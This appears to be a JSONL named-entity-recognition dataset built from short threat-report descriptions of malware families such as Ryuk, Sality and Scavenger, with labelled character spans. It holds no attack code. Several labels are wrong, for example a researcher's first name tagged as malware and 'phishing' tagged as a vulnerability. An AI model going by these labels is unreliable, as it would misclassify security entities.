+{"text": "CyberInt states that Remote Manipulator System (RMS) is a legitimate tool developed by Russian organization TektonIT and has been observed in campaigns conducted by TA505 as well as numerous smaller campaigns likely attributable to other, disparate, threat actors. In addition to the availability of commercial licenses, the tool is free for non-commercial use and supports the remote administration of both Microsoft Windows and Android devices.", "spans": {"MALWARE: RMS": [[48, 51]], "MALWARE: Remote Manipulator System": [[21, 46]], "THREAT_ACTOR: TA505": [[165, 170]], "SYSTEM: Android": [[430, 437]], "SYSTEM: Windows": [[418, 425]], "ORGANIZATION: Microsoft": [[408, 417]]}, "info": {"source": "apt_reports", "name": "RMS"}}
+{"text": "According to SOCRadar, this is a batch script that uses WinRAR to delete files with target file extensions from a disk.", "spans": {"TOOL: WinRAR": [[56, 62]]}, "info": {"source": "apt_reports", "name": "RoarBAT"}}
+{"text": "A .NET variant of ps1.roguerobin", "spans": {"SYSTEM: .NET": [[2, 6]]}, "info": {"source": "apt_reports", "name": "RogueRobinNET"}}
+{"text": "It is a backdoor commonly distributed as an encoded\r\nbinary file downloaded and decrypted by shellcode following the\r\nexploitation of weaponized documents. DOGCALL is capable of\r\ncapturing screenshots, logging keystrokes, evading analysis with\r\nanti-virtual machine detections, and leveraging cloud storage APIs\r\nsuch as Cloud, Box, Dropbox, and Yandex.", "spans": {"MALWARE: DOGCALL": [[156, 163]]}, "info": {"source": "apt_reports", "name": "RokRAT"}}
+{"text": "ROLLCOAST is a ransomware program that encrypts files on logical drives attached to a system. ROLLCOAST is a Dynamic Linked Library (DLL) with no named exports. When observed by Mandiant it uniquely had only one ordinal export 0x01. This suggested the sample was designed to avoid detection and be invoked within memory, possibly through BEACON provided to affiliates. Incident responders working on similar intrusions should capture memory for analysis.", "spans": {"MALWARE: ROLLCOAST": [[0, 9], [94, 103]], "ORGANIZATION: Mandiant": [[178, 186]], "MALWARE: BEACON": [[338, 344]]}, "info": {"source": "apt_reports", "name": "ROLLCOAST"}}
+{"text": "Unit 42 observed threat actor Tropical Scorpius using this RAT in operations where also Cuba ransomware was deployed.", "spans": {"ORGANIZATION: Unit 42": [[0, 7]], "MALWARE: Cuba": [[88, 92]]}, "info": {"source": "apt_reports", "name": "ROMCOM RAT"}}
+{"text": "According to PCrisk, Rook is ransomware (an updated variant of Babuk) that prevents victims from accessing/opening files by encrypting them. It also modifies filenames and creates a text file/ransom note (\"HowToRestoreYourFiles.txt\"). Rook renames files by appending the \".Rook\" extension. For example, it renames \"1.jpg\" to \"1.jpg.Rook\", \"2.jpg\" to \"2.jpg.Rook\".", "spans": {"MALWARE: Rook": [[21, 25], [235, 239], [273, 277], [332, 336], [357, 361]], "ORGANIZATION: PCrisk": [[13, 19]], "MALWARE: Babuk": [[63, 68]]}, "info": {"source": "apt_reports", "name": "Rook"}}
+{"text": "A DLL backdoor distributed by Raspberry Robin. According to Avast Decoded, Roshtyak belongs to one of the best-protected malware strains they have ever seen.", "spans": {"MALWARE: Roshtyak": [[75, 83]], "SYSTEM: Avast": [[60, 65]], "MALWARE: Raspberry Robin": [[30, 45]]}, "info": {"source": "apt_reports", "name": "Roshtyak"}}
+{"text": "Ransomware that was discovered over the last months of 2016 and likely based on Gomasom, another ransomware family.", "spans": {}, "info": {"source": "apt_reports", "name": "RotorCrypt"}}
+{"text": "Rovnix is a bootkit and consists of a driver loader (in the VBR) and the drivers (32bit, 64bit) themselves. It is part of the Carberp source code leak (https://github.com/nyx0/Rovnix). Rovnix has been used to protect Gozi ISFB, ReactorBot and Rerdom (at least).", "spans": {"URL: https://github.com/nyx0/Rovnix": [[152, 182]], "MALWARE: Rovnix": [[0, 6], [176, 182], [185, 191]], "VULNERABILITY: bootkit": [[12, 19]], "MALWARE: Gozi ISFB": [[217, 226]], "MALWARE: Carberp": [[126, 133]], "MALWARE: Gozi": [[217, 221]], "MALWARE: ReactorBot": [[228, 238]], "MALWARE: ISFB": [[222, 226]]}, "info": {"source": "apt_reports", "name": "Rovnix"}}
+{"text": "RoyalCli is a backdoor which appears to be an evolution of BS2005 and uses familiar encryption and encoding routines. The name RoyalCli was chosen by us due to a debugging path left in the binary. RoyalCli and BS2005 both communicate with the attacker's command and control (C2) through Internet Explorer (IE) by using the COM interface IWebBrowser2.", "spans": {"MALWARE: RoyalCli": [[0, 8], [127, 135], [197, 205]], "SYSTEM: IE": [[306, 308]], "SYSTEM: Internet Explorer": [[287, 304]], "MALWARE: BS2005": [[59, 65], [210, 216]]}, "info": {"source": "apt_reports", "name": "RoyalCli"}}
+{"text": "RoyalDNS is a DNS based backdoor used by APT15 that persistences on a system through a service called 'Nwsapagent'.", "spans": {"THREAT_ACTOR: APT15": [[41, 46]]}, "info": {"source": "apt_reports", "name": "Royal DNS"}}
+{"text": "Ransomware", "spans": {}, "info": {"source": "apt_reports", "name": "Royal Ransom"}}
+{"text": "RTM Banker also known as Redaman was first blogged about in February 2017 by ESET. The malware is written in Delphi and shows some similarities (like process list) with Buhtrap. It uses a slightly modified version of RC4 to encrypt its strings, network data, configuration and modules, according to ESET.", "spans": {"MALWARE: Redaman": [[25, 32]], "THREAT_ACTOR: RTM": [[0, 3]], "SYSTEM: ESET": [[77, 81], [299, 303]]}, "info": {"source": "apt_reports", "name": "RTM"}}
+{"text": "Rubeus is a C# toolset for raw Kerberos interaction and abuses.", "spans": {"TOOL: Rubeus": [[0, 6]], "SYSTEM: Kerberos": [[31, 39]]}, "info": {"source": "apt_reports", "name": "Rubeus"}}
+{"text": "NJCCIC characterizes RunningRAT as a remote access trojan (RAT) that operates using two DLL files. When the trojan is loaded onto a system, it executes the first DLL. This is used to disable anti-malware solutions, unpack and execute the main RAT DLL, and gain persistence. The trojan installs a Windows batch file dx.bat that attempts to kill the daumcleaner.exe task, a Korean security program. The file then attempts to remove itself. Once the second DLL is loaded into memory, the first DLL overwrites the IP address for the control server to change the address the trojan communicates with. The second DLL gathers information about the victim's system, including its operating system and driver and processor information. The RAT can log user keystrokes, copy the clipboard, delete files, compress files, clear event logs, shut down the machine, and more. The second DLL also uses several anti-bugging techniques.", "spans": {"SYSTEM: Windows": [[296, 303]], "MALWARE: RunningRAT": [[21, 31]]}, "info": {"source": "apt_reports", "name": "Running RAT"}}
+{"text": "RURansom shows characteristics of typical ransomware, but despite its name, TrendMicro's assumptions after analysis showed that this malware is more a wiper than ransomware, because the irreversible destruction of encrypted files.", "spans": {"MALWARE: RURansom": [[0, 8]]}, "info": {"source": "apt_reports", "name": "RURansom"}}
+{"text": "Rustonotto, active since June 2025, is a Rust-compiled malware, representing the first known instance of APT37 leveraging Rust-based malware to target Windows systems.", "spans": {"MALWARE: Rustonotto": [[0, 10]], "THREAT_ACTOR: APT37": [[105, 110]], "SYSTEM: Rust": [[41, 45], [122, 126]], "SYSTEM: Windows": [[151, 158]]}, "info": {"source": "apt_reports", "name": "Rustonotto"}}
+{"text": "Written in Rust and\r\ndesigned for both Windows and Linux environments, RustyRocket enables WorldLeaks affiliates to steal data\r\nthrough heavily obfuscated, multi-layered encrypted tunnels that can be exceptionally difficult to detect using\r\ntraditional network monitoring.", "spans": {"MALWARE: RustyRocket": [[71, 82]], "SYSTEM: Rust": [[11, 15]], "SYSTEM: Windows": [[39, 46]], "SYSTEM: Linux": [[51, 56]]}, "info": {"source": "apt_reports", "name": "RustyRocket"}}
+{"text": "According to Proofpoint, RustyClaw is a downloader written in Rust", "spans": {"MALWARE: RustyClaw": [[25, 34]], "SYSTEM: Rust": [[62, 66]], "ORGANIZATION: Proofpoint": [[13, 23]]}, "info": {"source": "apt_reports", "name": "RustyClaw"}}
+{"text": "Ryuk is a ransomware which encrypts its victim's files and asks for a ransom via bitcoin to release the original files. It is has been observed being used to attack companies or professional environments. Cybersecurity experts figured out that Ryuk and Hermes ransomware shares pieces of codes. Hermes is commodity ransomware that has been observed for sale on dark-net forums and used by multiple threat actors.", "spans": {"MALWARE: Ryuk": [[0, 4], [244, 248]]}, "info": {"source": "apt_reports", "name": "Ryuk"}}
+{"text": "Information Stealer that searches for sensitive documents and uploads its results to an FTP server. Skips files with known Ryuk extensions.", "spans": {"MALWARE: Ryuk": [[123, 127]]}, "info": {"source": "apt_reports", "name": "Ryuk Stealer"}}
+{"text": "According to Elastic, SADBRIDGE is a malware loader packaged as an MSI executable for delivery and it uses DLL side-loading with various injection techniques to execute malicious payloads. SADBRIDGE abuses legitimate applications such as x64dbg.exe and MonitoringHost.exe to load malicious DLLs like x64bridge.dll and HealthServiceRuntime.dll, which leads to subsequent stages and shellcodes.", "spans": {"MALWARE: SADBRIDGE": [[22, 31], [189, 198]], "ORGANIZATION: Elastic": [[13, 20]], "VULNERABILITY: DLL side-loading": [[107, 123]]}, "info": {"source": "apt_reports", "name": "SADBRIDGE"}}
+{"text": "Ransomware.", "spans": {}, "info": {"source": "apt_reports", "name": "Sadogo"}}
+{"text": "According to Symantec, Sagerunex is a backdoor that is fairly resilient and implements multiple forms of communication with its command-and-control (C&C) server. Its logs are encrypted and the encryption algorithm used is AES256-CBC with 8192 rounds of SHA256 for key derivation based on a hardcoded key. It supports multiple modes methods for communicating via HTTP (proxy-aware).", "spans": {"MALWARE: Sagerunex": [[23, 32]], "SYSTEM: Symantec": [[13, 21]]}, "info": {"source": "apt_reports", "name": "Sagerunex"}}
+{"text": "FireEye reports SaiGon as a variant of ISFB v3 (versions documented are tagged 3.50.132) that is more a generic backdoor than being focused on enabling banking fraud.", "spans": {"MALWARE: SaiGon": [[16, 22]], "ORGANIZATION: FireEye": [[0, 7]], "MALWARE: ISFB": [[39, 43]]}, "info": {"source": "apt_reports", "name": "SaiGon"}}
+{"text": "This in .Net witten backdoor abuses the DNS protocoll for its C2 communication. Also other techniques (e.g. long random sleeps, compression) are used to become more stealthy.", "spans": {}, "info": {"source": "apt_reports", "name": "Saitama Backdoor"}}
+{"text": "Sakula / Sakurel is a trojan horse that opens a back door and downloads potentially malicious files onto the compromised computer.", "spans": {"MALWARE: Sakurel": [[9, 16]], "MALWARE: Sakula": [[0, 6]]}, "info": {"source": "apt_reports", "name": "Sakula RAT"}}
+{"text": "Crypto Stealer written in GO. Targets browsers, crypto wallets and telegram clients (Telegram Desktop, Kotatogram). Can capture webcam and microphone and stream it on to c2 server.", "spans": {"SYSTEM: Telegram": [[85, 93]]}, "info": {"source": "apt_reports", "name": "SalatStealer"}}
+{"text": "F-Secure states that the Sality virus family has been circulating in the wild as early as 2003. Over the years, the malware has been developed and improved with the addition of new features, such as rootkit or backdoor functionality, and so on, keeping it an active and relevant threat despite the relative age of the malware.\r\n\r\nModern Sality variants also have the ability to communicate over a peer-to-peer (P2P) network, allowing an attacker to control a botnet of Sality-infected machines. The combined resources of the Sality botnet may also be used by its controller(s) to perform other malicious actions, such as attacking routers.\r\n\r\nInfection\r\nSality viruses typically infect executable files on local, shared and removable drives. In earlier variants, the Sality virus simply added its own malicious code to the end of the infected (or host) file, a technique known as prepending. The viral code that Sality inserts is polymorphic, a form of complex code that is intended to make analysis more difficult.\r\n\r\nEarlier Sality variants were regarded as technically sophisticated in that they use an Entry Point Obscuration (EPO) technique to hide their presence on the system. This technique means that the virus inserts a command somewhere in the middle of an infected file's code, so that when the system is reading the file to execute it and comes to the command, it forces the system to 'jump' to the malware's code and execute that instead. This technique was used to make discovery and disinfection of the malicious code harder.\r\n\r\nPayload\r\nOnce installed on the computer system, Sality viruses usually also execute a malicious payload. The specific actions performed depend on the specific variant in question, but generally Sality viruses will attempt to terminate processes, particularly those related to security programs. The virus may also attempt to open connections to remote sites, download and run additional malicious files, and steal data from the infected machine.", "spans": {"MALWARE: Sality": [[25, 31], [337, 343], [469, 475], [525, 531], [654, 660], [767, 773], [912, 918], [1027, 1033], [1593, 1599], [1739, 1745]], "ORGANIZATION: F-Secure": [[0, 8]], "VULNERABILITY: rootkit": [[199, 206]]}, "info": {"source": "apt_reports", "name": "Sality"}}
+{"text": "According to PCrisk, SamoRAT is a Remote Access Trojan (RAT), a type of malware that allows the cyber criminals responsible to monitor and control the infected computer. In most cases, RATs are used to steal sensitive information and/or install other malware onto the infected computer.", "spans": {"MALWARE: SamoRAT": [[21, 28]], "ORGANIZATION: PCrisk": [[13, 19]]}, "info": {"source": "apt_reports", "name": "SamoRAT"}}
+{"text": "According to PCrisk, Samsam is high-risk ransomware designed to infect unpatched servers and encrypt files stored on computers networked to the infected server.", "spans": {"MALWARE: Samsam": [[21, 27]], "ORGANIZATION: PCrisk": [[13, 19]]}, "info": {"source": "apt_reports", "name": "SamSam"}}
+{"text": "According to Rapid7, this malware collects and exfiltrates sensitive documents, credentials, wallets, and data from a broad range of applications, and aims to operate entirely in-memory to avoid file-based detection. Stolen data is then compressed, split into 10 MB chunks, and sent to a C2 server over unencrypted HTTP.", "spans": {"ORGANIZATION: Rapid7": [[13, 19]]}, "info": {"source": "apt_reports", "name": "SantaStealer"}}
+{"text": "Sasfis acts mostly as a downloader that has been observed to download Asprox and FakeAV. According to a VirusBulletin article from 2012, it is likely authored by the same group as SmokeLoader.", "spans": {"MALWARE: Sasfis": [[0, 6]], "MALWARE: SmokeLoader": [[180, 191]]}, "info": {"source": "apt_reports", "name": "Sasfis"}}
+{"text": "Ransomware.", "spans": {}, "info": {"source": "apt_reports", "name": "Satan"}}
+{"text": "According to bitdefender, Satana is an aggressive ransomware for Windows that encrypts the computer’s master boot record (MBR) and prevents it from starting.", "spans": {"MALWARE: Satana": [[26, 32]], "SYSTEM: Windows": [[65, 72]]}, "info": {"source": "apt_reports", "name": "Satana"}}
+{"text": "According to CISA, this is a command-line port scanning utility from Foundstone. It is used to scan for open UDP and TCP ports, grab banners from open ports, resolve IP addresses to host names, and bind to specified ports and IP addresses.", "spans": {"ORGANIZATION: CISA": [[13, 17]]}, "info": {"source": "apt_reports", "name": "ScanLine"}}
+{"text": "Ransomware with ransomnote in Russian and encryption extension .scarab.", "spans": {"MALWARE: scarab": [[64, 70]]}, "info": {"source": "apt_reports", "name": "Scarabey"}}
+{"text": "Based on the leaked Conti source code.", "spans": {"MALWARE: Conti": [[20, 25]]}, "info": {"source": "apt_reports", "name": "ScareCrow"}}
+{"text": "Scavenger is a stealthy, two-stage malware family first observed in July 2025 following a targeted supply chain attack on the NPM ecosystem. The infection began with a phishing campaign that leveraged a typo-squatted domain (npnjs.com) to impersonate the legitimate NPM login page. The adversaries abused NPM's web-based login flow—akin to device code phishing—to trick a package maintainer into generating an automation access token, which does not expire and can bypass 2FA under certain configurations.\r\n\r\nWith the stolen credentials, the attackers injected malicious payloads into several trusted NPM packages, including eslint-config-prettier, by modifying their install scripts to execute a DLL loader. This first-stage loader, compiled in Visual Studio, performs anti-VM checks, dynamic API resolution using CRC32 hashing, indirect syscalls to bypass EDR, and string decryption routines. If the environment passes these checks, it executes a second-stage infostealer that targets browser data—particularly from Chromium—such as extension state, cached content, and visited URLs.\r\n\r\nThe malware communicates with its command and control infrastructure using libcurl and XXTEA-encrypted payloads over HTTP(S), implementing challenge-response integrity checks during session initialization. Development artifacts like a leftover PDB path and operational overlaps have linked Scavenger to other campaigns, including one involving an infected BeamNG game binary, further suggesting a broader and evolving threat infrastructure.", "spans": {"DOMAIN: npnjs.com": [[225, 234]], "MALWARE: Scavenger": [[0, 9], [1379, 1388]], "VULNERABILITY: phishing": [[168, 176], [352, 360]], "VULNERABILITY: supply chain attack": [[99, 118]]}, "info": {"source": "apt_reports", "name": "Scavenger"}}
+{"text": "Schneiken is a VBS 'Double-dropper'. It comes with two RATs embedded in the code (Dunihi and Ratty). Entire code is Base64 encoded.", "spans": {"MALWARE: Schneiken": [[0, 9]], "MALWARE: Ratty": [[93, 98]]}, "info": {"source": "apt_reports", "name": "Schneiken"}}
+{"text": "The Chinese threat actor has used a custom backdoor dubbed \"Scieron\" over years in several campaigns according to SentinelLABS.", "spans": {"MALWARE: Scieron": [[60, 67]]}, "info": {"source": "apt_reports", "name": "Scieron"}}
+{"text": "According to ESET Research, ScoringMathTea is a RAT that offers the attackers full control over the compromised machine. Its first appearance dates to late 2022, when its dropper was uploaded to VirusTotal. Soon after, it was seen in the wild, and since then in multiple attacks attributed to Lazarus’ Operation DreamJob campaigns, which makes it the attacker’s payload of choice for already three years. It uses compromised servers for C&C communication, with the server part usually stored under the WordPress folder containing design templates or plugins.", "spans": {"MALWARE: ScoringMathTea": [[28, 42]], "SYSTEM: ESET": [[13, 17]], "SYSTEM: WordPress": [[502, 511]], "ORGANIZATION: VirusTotal": [[195, 205]]}, "info": {"source": "apt_reports", "name": "ScoringMathTea"}}
+{"text": "A downloader that uses Windows messages to control its execution flow.", "spans": {"SYSTEM: Windows": [[23, 30]]}, "info": {"source": "apt_reports", "name": "Scout"}}
+{"text": "SentinelOne describes this malware as capable of doing screen capture and keylogging. It is uses by a threat cluster they named WIP19, targeting telecommunications and IT service providers in the Middle East and Asia.", "spans": {"THREAT_ACTOR: WIP19": [[128, 133]], "SYSTEM: SentinelOne": [[0, 11]], "VULNERABILITY: screen capture": [[55, 69]], "VULNERABILITY: keylogging": [[74, 84]]}, "info": {"source": "apt_reports", "name": "ScreenCap"}}
+{"text": "ScrubCrypt is the rebranded \"Jlaive\" crypter, with a unique capability of .BAT packing", "spans": {"MALWARE: ScrubCrypt": [[0, 10]]}, "info": {"source": "apt_reports", "name": "ScrubCrypt"}}
+{"text": "Backdoor written in Python 2, deployed with PyInstaller.", "spans": {"SYSTEM: Python": [[20, 26]]}, "info": {"source": "apt_reports", "name": "SEADADDY"}}
+{"text": "SecondHandTea is a full-featured Remote Access Trojan (RAT), closely related to BackbitingTea, the flagship backdoor used in the DangerousPassword campaigns (also known as SnatchCrypto).\r\n\r\nBoth malware families appear to share a common codebase and are compiled within the same build environment.\r\n\r\nWhile they share most core functionality and supported commands, SecondHandTea differs from BackbitingTea variants in several technical aspects:\r\n\r\n- Configuration file paths\r\n- Network libraries: OpenSSL 1.1.0f vs. wolfSSL or Winsock TCP/IP\r\n- Encryption algorithms: AES-256 vs. RC4\r\n- Compression methods: LZ4 vs. ZIP\r\n\r\nThese differences suggest active development and customization efforts tailored to specific operational needs.\r\n\r\nThe malware's name was inferred from its internal filename: SecondT_x64.exe.\r\n\r\nBetween H2 2022 and Q1 2023, SecondHandTea was observed in targeted attacks against entities involved in cryptotrading and blockchain technology, indicating a continued focus on financially motivated cyber operations.", "spans": {"MALWARE: SecondHandTea": [[0, 13], [366, 379], [847, 860]], "SYSTEM: OpenSSL": [[498, 505]], "MALWARE: BackbitingTea": [[80, 93], [393, 406]], "MALWARE: SnatchCrypto": [[172, 184]]}, "info": {"source": "apt_reports", "name": "SecondHandTea"}}
+{"text": "SectopRAT, aka ArechClient2, is a .NET RAT with numerous capabilities including multiple stealth functions. Arechclient2 can profile victim systems, steal information such as browser and crypto-wallet data, and launch a hidden secondary desktop to control browser sessions. Additionally, it has several anti-VM and anti-emulator capabilities.", "spans": {"MALWARE: SectopRAT": [[0, 9]], "SYSTEM: .NET": [[34, 38]]}, "info": {"source": "apt_reports", "name": "SectopRAT"}}
+{"text": "simple tool to facilitate download and persistence of a next-stage tool; collects system information and metadata probably in an attempt to tell sandbox-environments apart from real targets on the server-side; uses domains of search engines like Google to check for Internet connectivity; XOR-based string obfuscation with a 16-byte key", "spans": {"ORGANIZATION: Google": [[246, 252]]}, "info": {"source": "apt_reports", "name": "Seduploader"}}
+{"text": "According to PCrisk, Sekhmet is ransomware. This malicious program operates by encrypting data and demanding ransom payments for decryption. During the encryption process, all affected files are appended with an extension, consisting of random characters (e.g. \".HrUSsw\", \".WNgh\", \".NdWfEr\", etc.).", "spans": {"MALWARE: Sekhmet": [[21, 28]], "ORGANIZATION: PCrisk": [[13, 19]]}, "info": {"source": "apt_reports", "name": "Sekhmet"}}
+{"text": "Ransomware.", "spans": {}, "info": {"source": "apt_reports", "name": "SepSys"}}
+{"text": "This malware is protected using VMProtect and related to the loading of KEYPLUG.", "spans": {"MALWARE: KEYPLUG": [[72, 79]]}, "info": {"source": "apt_reports", "name": "SerialVlogger"}}
+{"text": "ServHelper is written in Delphi and according to ProofPoint best classified as a backdoor.\r\n\r\nProofPoint noticed two distinct variant - \"tunnel\" and \"downloader\" (citation):\r\n\"The 'tunnel' variant has more features and focuses on setting up reverse SSH tunnels to allow the threat actor to access the infected host via Remote Desktop Protocol (RDP). Once ServHelper establishes remote desktop access, the malware contains functionality for the threat actor to 'hijack' legitimate user accounts or their web browser profiles and use them as they see fit. The 'downloader' variant is stripped of the tunneling and hijacking functionality and is used as a basic downloader.\"", "spans": {"MALWARE: ServHelper": [[0, 10], [355, 365]], "TOOL: SSH": [[249, 252]], "TOOL: RDP": [[344, 347]], "TOOL: Remote Desktop Protocol": [[319, 342]]}, "info": {"source": "apt_reports", "name": "ServHelper"}}
+{"text": "A malicious IIS module that allows up/download of files, remote command execution, and using the compromised server as a hop into the network behind.", "spans": {"SYSTEM: IIS": [[12, 15]]}, "info": {"source": "apt_reports", "name": "SessionManager"}}
+{"text": "Ransomware", "spans": {}, "info": {"source": "apt_reports", "name": "Sfile"}}
+{"text": ".NET reimplementation of Cobalt Strike beacon/stager", "spans": {"THREAT_ACTOR: Cobalt": [[25, 31]], "TOOL: Cobalt Strike": [[25, 38]], "SYSTEM: .NET": [[0, 4]]}, "info": {"source": "apt_reports", "name": "SharpBeacon"}}
+{"text": "According to its Github repository, SharpHound is a C# Data Collector for BloodHound.", "spans": {"TOOL: SharpHound": [[36, 46]], "TOOL: BloodHound": [[74, 84]]}, "info": {"source": "apt_reports", "name": "SharpHound"}}
+{"text": "This tool is made to simplify penetration testing of networks and to create a Swiss-army knife that is made for running on Windows which is often a requirement during insider threat simulation engagements.", "spans": {"SYSTEM: Windows": [[123, 130]]}, "info": {"source": "apt_reports", "name": "SharpMapExec"}}
+{"text": "The SharpStage backdoor is a .NET malware with backdoor capabilities. Its name is a derivative of the main activity class called “Stage_One”. SharpStage can take screenshots, run arbitrary commands and downloads additional payloads. It exfiltrates data from the infected machine to a dropbox account by implementing a dropbox client in its code. SharpStage was seen used by the Molerats group in targeted attacks in the middle east.", "spans": {"MALWARE: SharpStage": [[4, 14], [142, 152], [346, 356]], "THREAT_ACTOR: Molerats": [[378, 386]], "SYSTEM: .NET": [[29, 33]]}, "info": {"source": "apt_reports", "name": "SharpStage"}}
+{"text": "According to its Github repository, SharpWMI is a C# implementation of various WMI functionality.", "spans": {"MALWARE: SharpWMI": [[36, 44]], "SYSTEM: WMI": [[79, 82]]}, "info": {"source": "apt_reports", "name": "SharpWMI"}}
+{"text": "SharPyShell is a tiny and obfuscated ASP.NET webshell that executes commands received by an encrypted channel compiling them in memory at runtime.\r\n\r\nSharPyShell supports only C# web applications that runs on .NET Framework >= 2.0\r\nVB is not supported atm.", "spans": {"MALWARE: SharPyShell": [[0, 11], [150, 161]], "SYSTEM: .NET Framework": [[209, 223]], "SYSTEM: .NET": [[209, 213]]}, "info": {"source": "apt_reports", "name": "SharPyShell"}}
+{"text": "Kaspersky Labs observed Andariel to drop this ransomware in one case within a series of attacks carried out against targets in South Korea in April 2021.", "spans": {"SYSTEM: Kaspersky": [[0, 9]], "MALWARE: Andariel": [[24, 32]]}, "info": {"source": "apt_reports", "name": "SHATTEREDGLASS"}}
+{"text": "According to Zscaler, SHEETCREEP is a lightweight backdoor written in C# that uses Google Sheets for C2 communication.", "spans": {"MALWARE: SHEETCREEP": [[22, 32]], "ORGANIZATION: Zscaler": [[13, 20]], "ORGANIZATION: Google": [[83, 89]]}, "info": {"source": "apt_reports", "name": "SHEETCREEP"}}
+{"text": "PCRIsk states that ShellLocker is a ransomware-type virus developed using .NET framework. It was first discovered by Jakub Kroustek and is virtually identical to another ransomware virus called Exotic.\r\n\r\nFollowing infiltration, this virus encrypts stored data (video, audio, etc.) and renames encrypted files using the \"[random_characters].L0cked\" pattern (e.g., \"sample.jpg\" might be renamed to \"gd&=AA0fgoi.L0cked\"). Following successful encryption, ShellLocker opens a pop-up window containing ransom-demand message.", "spans": {"MALWARE: ShellLocker": [[19, 30], [453, 464]], "SYSTEM: .NET": [[74, 78]]}, "info": {"source": "apt_reports", "name": "ShellLocker"}}
+{"text": "According to IBM X-Force, this is a modular backdoor that was used for targeting the defense sector of Ukraine. It uses the Dropbox API for C2 and data exfiltration.", "spans": {"ORGANIZATION: IBM X-Force": [[13, 24]], "ORGANIZATION: X-Force": [[17, 24]], "ORGANIZATION: IBM": [[13, 16]]}, "info": {"source": "apt_reports", "name": "Sheriff"}}
+{"text": "Shifu was originally discovered by Trusteer security researchers (Ilya Kolmanovich, Denis Laskov) in the middle of 2015. It is a banking trojan mostly focusing on Japanese banks and has rich features for remote data extraction and control.", "spans": {"MALWARE: Shifu": [[0, 5]], "MALWARE: Denis": [[84, 89]]}, "info": {"source": "apt_reports", "name": "Shifu"}}
+{"text": "SHIPSHAPE is malware developed by APT30 that allows propagation and exfiltration of data over removable devices. APT30 may use this capability to exfiltrate data across air-gaps.", "spans": {"MALWARE: SHIPSHAPE": [[0, 9]], "THREAT_ACTOR: APT30": [[34, 39], [113, 118]]}, "info": {"source": "apt_reports", "name": "SHIPSHAPE"}}
+{"text": "According to STRIKE, ShortLeash is a custom backdoor used to create an ORB network. It generates unique, self-signed TLS certificates with spoofed metadata for each node. Analysis of these certificates revealed over 1000 active nodes globally and victimology supports attribution to China-Nexus APTs.", "spans": {"MALWARE: ShortLeash": [[21, 31]]}, "info": {"source": "apt_reports", "name": "ShortLeash"}}
+{"text": "Shellcode-based malware family that according to ESET Research was likely written by the same authors as win.crosswalk.", "spans": {"SYSTEM: ESET": [[49, 53]]}, "info": {"source": "apt_reports", "name": "SideWalk"}}
+{"text": "Ransomware used by threat actor group DEV-0530, attributed by MSTIC to North Korean origin.", "spans": {}, "info": {"source": "apt_reports", "name": "SiennaBlue"}}
+{"text": "Ransomware used by threat actor group DEV-0530, attributed by MSTIC to North Korean origin.", "spans": {}, "info": {"source": "apt_reports", "name": "SiennaPurple"}}
+{"text": "According to PCrisk, Truebot, also known as Silence.Downloader, is a malicious program that has botnet and loader/injector capabilities. This malware can add victims' devices to a botnet and cause chain system infections (i.e., download/install additional malicious programs/components).\r\n\r\nThere is significant variation in Truebot's infection chains and distribution. It is likely that the attackers using this malicious software will continue to make such changes.", "spans": {"MALWARE: Silence": [[44, 51]], "MALWARE: Truebot": [[21, 28], [325, 332]], "ORGANIZATION: PCrisk": [[13, 19]]}, "info": {"source": "apt_reports", "name": "Silence"}}
+{"text": "According to Mandiant, SILENTUPLOADER is an uploader written in MSIL that is dropped by DOSTEALER and is designed to work specifically in tandem with it. It checks for files in a specified folder every 30 seconds and uploads them to a remote server.", "spans": {"MALWARE: SILENTUPLOADER": [[23, 37]], "ORGANIZATION: Mandiant": [[13, 21]], "MALWARE: DOSTEALER": [[88, 97]]}, "info": {"source": "apt_reports", "name": "SILENTUPLOADER"}}
+{"text": "A Microsoft SQL Server backdoor", "spans": {"SYSTEM: SQL Server": [[12, 22]], "ORGANIZATION: Microsoft": [[2, 11]]}, "info": {"source": "apt_reports", "name": "skip-2.0"}}
+{"text": "Skuld, also known as TMPN Stealer, is an information-stealing malware written in Golang (Go) that emerged in May 2023.", "spans": {"MALWARE: Skuld": [[0, 5]], "MALWARE: TMPN": [[21, 25]], "SYSTEM: Go": [[89, 91]]}, "info": {"source": "apt_reports", "name": "Skuld"}}
+{"text": "Ransomware.", "spans": {}, "info": {"source": "apt_reports", "name": "Slam"}}
+{"text": "According to CERT-UA, this is a malware developed using the C++ programming language. The main functional purpose is the production of screenshots.", "spans": {"ORGANIZATION: CERT-UA": [[13, 20]]}, "info": {"source": "apt_reports", "name": "SLIMAGENT"}}
+{"text": "- 2012 first sighted\r\n- Attack vector via compromised Mikrotik routers where victims get infection when they connect to Mikrotik router admin software - Winbox\r\n- 2018 when discovered by Kaspersky Team\r\n\r\nInfection Vector\r\n- Infected Mikrotik Router > Malicious DLL (IP4.dll) in Router > User connect via winbox > Malicious DLL downloaded on computer", "spans": {"SYSTEM: Kaspersky": [[187, 196]]}, "info": {"source": "apt_reports", "name": "Slingshot"}}
+{"text": "According to Proofpoint, SlipScreen is a first stage loader and has variants written in Rust and in C++. Its crypter is updated for each campaign, making static detection difficult.", "spans": {"MALWARE: SlipScreen": [[25, 35]], "SYSTEM: Rust": [[88, 92]], "ORGANIZATION: Proofpoint": [[13, 23]]}, "info": {"source": "apt_reports", "name": "SlipScreen"}}
+{"text": "According to VK9 Seecurity, Sliver is a Command and Control (C2) system made for penetration testers, red teams, and advanced persistent threats. It generates implants (slivers) that can run on virtually every architecture out there, and securely manage these connections through a central server. Sliver supports multiple callback protocols including DNS, TCP, and HTTP(S) to make egress simple, even when those pesky blue teams block your domains. You can even have multiple operators (players) simultaneously commanding your sliver army.", "spans": {"TOOL: Sliver": [[28, 34], [298, 304]]}, "info": {"source": "apt_reports", "name": "Sliver"}}
+{"text": "According to HarfangLab, SloppyMIO is written in C#. It retrieves its configuration steganographically from images whose URLs are obtained via a Dead Drop Resolver (DDR) backed by GitHub. From these images, it extracts a XOR key, Telegram bot token and chat ID, and module URLs from an LSB-hidden payload. The malware can fetch and cache multiple modules from remote storage, run arbitrary commands, collect and exfiltrate files and deploy further malware with persistence via scheduled tasks. SloppyMIO beacons status messages, polls for commands and sends exfiltrated files over to a specified operator leveraging the Telegram Bot API for command-and-control.", "spans": {"MALWARE: SloppyMIO": [[25, 34], [494, 503]], "SYSTEM: GitHub": [[180, 186]], "SYSTEM: Telegram Bot API": [[620, 636]], "SYSTEM: Telegram": [[230, 238], [620, 628]]}, "info": {"source": "apt_reports", "name": "SloppyMIO"}}
